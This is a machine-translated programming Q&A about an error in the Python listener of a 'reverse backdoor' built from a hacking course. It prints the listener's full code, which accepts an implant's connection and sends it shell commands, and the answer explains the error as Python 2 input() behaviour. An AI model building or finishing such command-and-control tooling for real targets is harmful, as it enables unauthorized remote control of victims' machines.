AttributeError: 'builtin_function_or_method' 对象没有属性 'split' - 反向后门
Posted
技术标签:
【中文标题】AttributeError: \'builtin_function_or_method\' 对象没有属性 \'split\' - 反向后门【英文标题】:AttributeError: 'builtin_function_or_method' object has no attribute 'split' - reverseback doorAttributeError: 'builtin_function_or_method' 对象没有属性 'split' - 反向后门 【发布时间】:2021-10-30 18:21:51 【问题描述】:我正在使用 Zaid 的 Udemy 课程制作反向后门 不知怎的,我遇到了这个错误,Erorr image 请告诉我如何解决是
问候, 雅利安病毒
后门代码
import socket , json
class Listner:
def __init__(self,ip,port):
listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listner.bind((ip,port))
print("[+] Waiting for incoming connections")
listner.listen(0)
self.connection ,address = listner.accept()
print("[+] Got a connection form" + str(address))
def reliable_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data.encode('utf-8'))
def reliable_recv(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_remote(self,command):
self.reliable_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.reliable_recv()
def run(self):
while True:
command = input(">> ")
command = command.split(" ")
result = self.execute_remote(command)
print(result)
mylistner = Listner("172.21.38.172",4444)
mylistner.run()
【问题讨论】:
旧 Python 版本(2)? 是python 2还是python 3,你输入了什么? 我正在使用 python 3 【参考方案1】:旧的 Python 版本 (2)? – 克劳斯 D.
我正在使用 python 3 – 雅利安病毒
克劳斯 D. 是对的;你误会了。将dir
输入command
后,command.split(" ")
产生
AttributeError: 'builtin_function_or_method' object has no attribute 'split'
明确表明您使用的是 Python 2,其中input()
等同于eval(raw_input())
。您可以使用
import sys
print sys.version
在 Python 2 中编写 dir.split(" ")
时会出现同样的错误。
如果您想继续使用 Python 2,可以使用 raw_input()
或引用所有输入字符串。
【讨论】:
以上是关于AttributeError: 'builtin_function_or_method' 对象没有属性 'split' - 反向后门的主要内容,如果未能解决你的问题,请参考以下文章
为啥我收到错误:AttributeError:'builtin_function_or_method'对象没有属性'isdigit'
AttributeError: 'builtin_function_or_method' 对象没有属性 'split' - 反向后门
AttributeError: ‘builtin_function_or_method‘ object has no attribute ‘randint‘